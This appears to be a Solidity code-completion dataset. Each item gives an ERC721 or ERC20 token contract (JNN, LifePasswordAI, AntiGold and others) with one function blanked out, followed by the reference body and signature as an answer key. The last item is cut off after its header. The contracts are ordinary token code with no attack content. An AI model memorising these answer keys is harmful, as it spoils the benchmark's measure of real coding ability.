existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {} }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI, '.json')); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, (tokenId.toString()), ".json")); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId,) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } <FILL_FUNCTION> /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {} }
//solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId);
function transferFrom(address from, address to, uint256 tokenId) public virtual override
/** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override
10679
JNN
transferAnyERC20Token
contract JNN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JNN() public { symbol = "JNN"; name = "JeyennCoin"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D] = _totalSupply; Transfer(address(0), 0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } }
contract JNN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JNN() public { symbol = "JNN"; name = "JeyennCoin"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D] = _totalSupply; Transfer(address(0), 0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } <FILL_FUNCTION> }
return ERC20Interface(tokenAddress).transfer(owner, tokens);
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
49989
LifePasswordAI
transferFrom
contract LifePasswordAI is Ownable, SafeMath, IERC20{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { balanceOf[msg.sender] = 68100000000000000; totalSupply = 68100000000000000; name = "Life Password AI"; symbol = "LPAS"; decimals = 8; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[msg.sender] + balanceOf[_to]; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); emit Transfer(msg.sender, _to, _value); assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract LifePasswordAI is Ownable, SafeMath, IERC20{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { balanceOf[msg.sender] = 68100000000000000; totalSupply = 68100000000000000; name = "Life Password AI"; symbol = "LPAS"; decimals = 8; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[msg.sender] + balanceOf[_to]; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); emit Transfer(msg.sender, _to, _value); assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } <FILL_FUNCTION> }
require (_to != address(0)); require (_value > 0); require (balanceOf[_from] >= _value) ; require (balanceOf[_to] + _value > balanceOf[_to]); require (_value <= allowance[_from][msg.sender]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
27928
AntiGold
transfer
contract AntiGold is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AntiGold() public { symbol = "AAU"; name = "AntiGold"; decimals = 18; uint initialSupply = 1; _totalSupply = initialSupply * 10 ** uint256(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract AntiGold is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AntiGold() public { symbol = "AAU"; name = "AntiGold"; decimals = 18; uint initialSupply = 1; _totalSupply = initialSupply * 10 ** uint256(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success)
82977
HCVpoolETH
rewardPerToken
